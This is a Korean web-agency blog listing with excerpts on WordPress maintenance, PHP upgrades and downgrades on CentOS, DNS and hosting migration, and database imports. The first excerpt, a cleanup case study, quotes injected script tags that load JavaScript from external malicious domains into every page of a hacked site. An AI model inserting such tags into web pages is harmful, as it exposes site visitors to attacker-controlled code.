• [BCT 워드프레스 유지보수 사례] 워드프레스 로딩 속도 문제로 인해 이관

    BCT 워드프레스 유지보수 서비스 런칭 이후 워드프레스의 특징으로 인한 문제로 인해 홈페이지의 정상 운영이 어려운 고객분들이 연락을 주십니다. 이번 사례는 워드프레스로 접속된 홈페이지의 로딩 속도가 느려서 이 문제를 해결하고 싶다는 경우입니다. 고객님으로부터 워드프레사 파일/DB 백업 파일을 받아서 이관을 해 보니 홈페이지는 정상적으로 보이지만, 역시 개별 페이지 접속 시 로딩 속도 문제가 있었습니다. 이 경우는 대부분 글 또는 페이지 앞 뒤에 이상한 스크립트 코드가 추가되어 해당 페이지 로딩 시 외부 리소스를 요청하면서 발생하는 경우입니다. 아니나 다를까 워드프레스 관리자로 접속해서 개별 페이지를 살펴보니 다음과 같은 스크립트 코드가 한 가득 있었습니다. <script type=’text/javascript’ src=’https://con1.sometimesfree.biz/c.js’></script><script type=’text/javascript’ src=’https://con1.sometimesfree.biz/c.js’></script><script type=’text/javascript’ src=’https://con1.sometimesfree.biz/c.js’></script><script src=’https://traffictrade.life/scripts.js’ type=’text/javascript’></script> 위 경우처럼 정체를 알 수 없는 스크립트가 코드가 모든 페이지에 추가되어 있었고, 이로 인해 페이지 로딩 속도가 느린 것이었습니다. 이 코드를 모두 제거하였더니 모든 페이지가 이제 정상적인 속도로 로딩 되었습니다. 다행히 이 경우는 문제의 원인을 알기가 […]

  • [BCT 워드프레스 유지보수 사례] 서버호스팅에서 운영중인 국영문 홈페이지 이관 요청

    BCT 워드프레스 유지보수 서비스 런칭 이후 워드프레스의 특징으로 인한 문제로 인해 홈페이지의 정상 운영이 어려운 고객분들이 연락을 주십니다. 이번에 문의 온 업체 상황을 간략히 정리하면 다음과 같습니다. – 도메인 abc.com 보유 – 별도 네임서버 관리 업체를 통해 국문 홈페이지, 영문 홈페이지 분기 – 국문 홈페이지는 주소가 abc.com & www.abc.com이고 워드프레스 아닌 PHP 기반으로 제작된 홈페이지이며, 서버 위치는 네임서버가 위치한 서버임 – 영문 홈페이지는 주소가 eng.abc.com이고 워드프레스로 제작된 홈페이지이며, 서버 위치는 별도의 서버 호스팅임 이 상황에서 네임서버 이전 및 별도의 서버 호스팅에 문제가 생겨 이번 기회에 BCT 유지보수를 받고 호스팅을 이관하기로 하였습니다. —————————————————————————————————- 제안 드린 방안은서 서버 호스팅으로 운영한 2개 홈페이지를 웹호스팅으로 분리해서 운영하도록 한 것입니다. 그 이유는 2개 사이트 운영을 위해 서버 호스팅을 운영할 수는 없고, 또한 1개 웹호스팅으로 다른 방식으로 제작된 홈페이지를 동시에 운영하는 것도 어렵기 때문입니다. 1개 도메인을 2개 웹호스팅으로 분기할 네임서버 경우는 […]

  • CentOS7.x 에서 php7.x 에서 php5.6.x 버전으로 다운그레이드하는 방법

    CentOS 7.x 버전에서 yum 방식으로 PHP 7.x에서 PHP 5.6.x 버전으로 업데이트하는 방법을 살펴 봅니다. 다운그레이드 순서는 다음과 같습니다. (root 권한으로 수행해야 합니다) 먼저, 기 설치된 PHP 7.x 을 삭제합니다. # yum remove php php-bcmath php-cli php-common php-devel php-gd php-mbstring php-mysql php-odbc php-pdo php-process php-xml php-xmlrpc PHP 5.6.x 를 재설치합니다. # rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm # rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm # yum list –enablerepo=remi –enablerepo=remi-php56 | grep php 패키지 설치 # yum install –enablerepo=remi –enablerepo=remi-php56 php php-bcmath php-cli php-common php-devel php-gd php-mbstring php-mysql php-odbc php-pdo php-process php-xml php-xmlrpc (필요한 패키지 나열) 아파치 재시작 # systemctl restart httpd [root@calypso ~]# php -v PHP Warning: PHP Startup: apc: Unable to initialize module Module compiled with module API=20100525 PHP compiled with module API=20131226 These options need to match in Unknown on line 0 PHP 5.6.40 (cli) (built: May 28 2019 […]

  • CentOS 7에서 php 7.2 버전으로 업데이트 방법 (yum 방식)

    이 글은 이전 CentOS7.0 에서 yum 방식으로 php5.6.x 버전 설치하기 이후 PHP 7.2 버전으로 업데이트 하는 방법을 설명하고 있습니다. 업데이트 순서는 다음과 같습니다. 우선 remi repository를 yum 에 추가 합니다. $ 더블유겟 https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm $ rpm -Uvh epel-release-latest-7.noarch.rpm $ 더블유겟 http://rpms.remirepo.net/enterprise/remi-release-7.rpm $ rpm -Uvh remi-release-7.rpm $ yum-config-manager –enable remi-php72 만약 설치되지 않고 dependency로 인해 정상 설치 되지 않은 경우 설치된 php 및 패키지를 먼저 삭제하고 다시 설치를 합니다. PHP 패키지 삭제 # yum remove php php-bcmath php-cli php-common php-devel php-gd php-mbstring php-mysql php-odbc php-pdo php-process php-xml php-xmlrpc PHP 패키지 설치 # yum install –enablerepo=remi –enablerepo=remi-php56 php php-bcmath php-cli php-common php-devel php-gd php-mbstring php-mysql php-odbc php-pdo php-process php-xml php-xmlrpc (필요한 패키지 나열) 정상 설치되지 않고 하단과 같은 에러가 뜹니다. Error: Package: php-cli-7.2.12-1.el7.remi.x86_64 (remi-php72) Requires: libargon2.so.0()(64bit) Error: Package: php-7.2.12-1.el7.remi.x86_64 (remi-php72) Requires: libargon2.so.0()(64bit) […]

  • 가비아에서 도메인, DNS관리를 하고 있는데 , 이 중 홈페이지를 카페24로 연결 시 고려 사항

    도메인 구입과 DNS 관리를 가비아에서 하고 있는 업체가 있습니다. 이 업체는 한 도메인에서 인트라넷(groupware), 이메일(email), 홈페이지(www) 등을 사용하고 있는데, 이 중 홈페이지를 기존 호스팅에서 카페24 호스팅으로 옮겨야 하는 이슈가 있습니다. 이 이슈를 해결하기 위한 과정을 도메인 업체(가비아)에서 할 일과 호스팅 업체(카페24)에서 할 일을 구분해서 정리해 보겠습니다. 확인 순서는 다음과 같습니다. (1) [가비아] DNS 관리에서 www의 값 확인 가비아에서 현재 도메인의 DNS 관리 화면에서 www 호스트의 값을 확인합니다. www의 값을 확인합니다. 이 값은 IP 입니다. (2) [카페24] 웹호스팅의 서버아이피 확인 카페24의 서버아이피를 확인합니다. 서버아이피를 확인합니다. (3) [가비아] www 값 수정 가비아의 www 값을 카페24의 서버아이피로 수정합니다. 위 화면의 값을 카페24의 서버아이피로 수정하고 [확인] 버튼을 누릅니다. (4) [카페24] 도메인 추가 연결 및 관리 다음으로, 카페24에서 가비아에 등록된 해당 도메인을 추가합니다. 위 화면의 도메인 직접 입력하기에서 […]

  • 워드프레스 싱글 사이트로 제작된 웹사이트를 멀티 사이트로 변환하는 방법

    업체로부터 워드프레스 싱글 사이트로 제작된 웹사이트를 멀티 사이트로 변환해 달라는 요구 사항을 받을 때가 종종 있습니다. 워드프레스 플러그인이 그렇게나 많은데 이 문제를 해결해 줄만한 플러그인이 없을까 해서 찾아보지만 아직까지 만족할 만한 플러그인이나 관련 팁을 찾기가 어렵습니다. 그래서 이 문제를 접하게 되면 늘 수동으로 처리하곤 합니다. 수동 처리란 먼저 다른 멀티 사이트를 설치하고 기존 싱글 사이트의 콘텐츠를 WordPress Importer 플러그인으로 Export하고 그리고 이를 Import 한 다음 주요 플러그인의 설정을 일일히 수동으로 설정해주는 번거러운 일을 말합니다. 그래서 오랜 시간 이를 좀 쉽게 할 수 있는 방법이 없을까 고민하다 이번에는 아예 DB를 복사해 보면 어떨까 시도해 보았는데 다른 문제 없이 잘 되는 것 같아 이 방법을 정리할 겸 포스팅해 봅니다. 순서는 다음과 같습니다. 1. 워드프레스 싱글 사이트에서 제작 완료된 홈페이지가 있습니다. DB명은 임의로 bctm0169 라고 합니다. 2. 워드프레스 멀티 사이트를 새로 설치 합니다. DB명은 임의로 bctm0174 라고 합니다. […]

  • 도메인 기반으로 운영중인 워드프레스 멀티 사이트를 IP 기반의 서버로 이관이 가능한가?

    프로젝트 중에 기존 도메인 기반으로 워드프레스 멀티사이트를 운영중인 경우가 있습니다. 워드프레스 사이트가 대략 10여개 되는데, 이를 IP 기반으로 된 서버로 이관을 하려다 보니 문제가 생깁니다. 특히 이 서버는 도메인이 아닌 IP 기반으로 된 서버입니다. 이 경우 이관이 가능할까요? 여러 자료를 찾아보니 IP 기반에서는 워드프레스 멀티 사이트의 서브 도메인/서브 디렉토리 둘 다 지원되지 않는다고 합니다. 서브 도메인/서브 디렉토리가 지원되려면 도메인(IP가 아닌)이 지원되어야 합니다. 혹시 필요한 분 있는 경우 참고 하시기 바랍니다.

  • 카페24 대용량 DB 파일 업로드 방법

    카페24 메인 웹호스팅 상품(PHP 7.0 / mariadb-10.0.x / UTF-8 / HTTP2.0 / Apache2 / InnoDB 지원) 경우 phpmyadmin을 통해 DB 파일 업로드 시 최대 21M까지 가능합니다. 21M 이상 경우 phpmyadmin 으로 업로드가 불가능하며, 이 경우 다음과 같이 console 화면에서 직접 mysql 명령어를 통해 업로드 할 수 있습니다. 위 그림처럼 32M 파일을 업로드 하려면 다음과 같은 명령어를 통해 업로드 할 수 있습니다. $ mysql -u사용자아이디 -p비밀번호 -D DB명 < 01.sql 정상적으로 업로드 완료된 결과는 다음과 같습니다. 참고 바랍니다.

  • 외부 게시판 DB를 워드프레스 게시판으로 이관하는 방법 정리

    워드프레스 홈페이지 제작을 하다 보면 외부 게시판으로 제작된 홈페이지를 워드프레스로 리뉴얼 해야 할 일이 많습니다. 이 경우 게시판 백업을 해야 하는데요, 게시판 데이터가 많지 않다면 수작업으로 하면 되는데, 데이터가 많은 경우 자동 백업을 해야 합니다. 아직까지 외부 게시판 데이터를 워드프레스로 가져오는 솔루션이 없기 때문에 (수고스럽지만) DB단에서 이 작업을 처리하는 것이 유용할 때가 있습니다. 이번에 업체 홈페이지를 리뉴얼 하면서 외부 게시판 데이터를 워드프레스로 가져와야 했는데, 이 작업이 DB단에서 데이터 이관을 해야 하는 것이었고, 이 작업을 하면서 고려한 몇 가지 내용을 이 글에서 정리해 두었습니다. 혹시 비슷한 고민을 하는 분들에게 도움이 되었으면 합니다. 1. 진행에 앞서 고려 사항 먼저, 진행에 앞서 외부 게시판은 내부적으로 시험 리포트를 관리(입력, 수정, 삭제 등)하는 용도로 사용된 것이었고, 약 2,500여개 글이 등록된 게시판 입니다. 작업 범위는 외부 게시글의 전체 필드가 아니고 일부 필드만을 워드프레스 게시판의 일부 필드로 가져와야 하는 것입니다. 작업에 활용된 워드프레스 게시판은 KBoard 입니다. 2. […]

  • MariaDB 환경에서 테스트 서버의 도메인을 운영 도메인으로 일괄 교체하는 방법

    최근 카페24 10G 광아우토반 Full SSD 웹호스팅 상품에 PHP7.0 / mariadb-10.0.x 서버 환경이 추가 되었습니다. PHP 7.0 은 PHP 5.x 보다 2배 가량 속도 향상이 이루어진 것으로 알려져 있고, 실제 PHP 7.0에서 워드프레스 홈페이지를 운영해 본 결과 확실히 PHP 5.x 보다는 페이지 로딩 속도가 빨라진 것을 체감할 수 있었습니다. 속도가 빨라진 것을 느낀 이후 PHP 7.0 / mariadb-10.0.x 기반으로 워드프레스 홈페이지를 제작하면서 전에 없던 문제들이 하나 둘씩 나타나기 시작 했는데, 대표적으로 테스트 서버의 도메인을 운영 도메인으로 일괄 교체할 때 사용하던 searchreplacedb2.php (3.1.0 버전은 mysql과 충돌이 발생하여 2.1.0 STABLE 버전만 사용) 스크립트에 문제가 있습니다. 즉, searchreplacedb2.php STABLE 버전은 mysql 에서는 잘 동작되지만, mariadb 에서는 에러가 발생하였고, 따라서 테스트 서버에서 마무리한 워드프레스 홈페이지를 운영 서버로 이관 후 마지막으로 도메인 일괄 변환 작업을 해야 할 때, 이 스크립트의 에러로 인해 작업을 할 수가 없다는 것이 문제였습니다. 한 동안 이 문제로 인해 […]

이전112/2
위로이동